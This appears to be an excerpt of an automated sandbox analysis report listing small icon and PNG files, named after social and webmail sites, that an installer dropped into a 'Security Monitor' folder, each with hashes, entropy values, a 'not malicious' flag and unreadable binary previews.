Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-QQ5EP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-R183T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-RMPPM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-T356B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-T69MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-UL9VS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-V4PC2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-V5JDN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-VQSO6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\linkedin.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\messagerie.orange.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
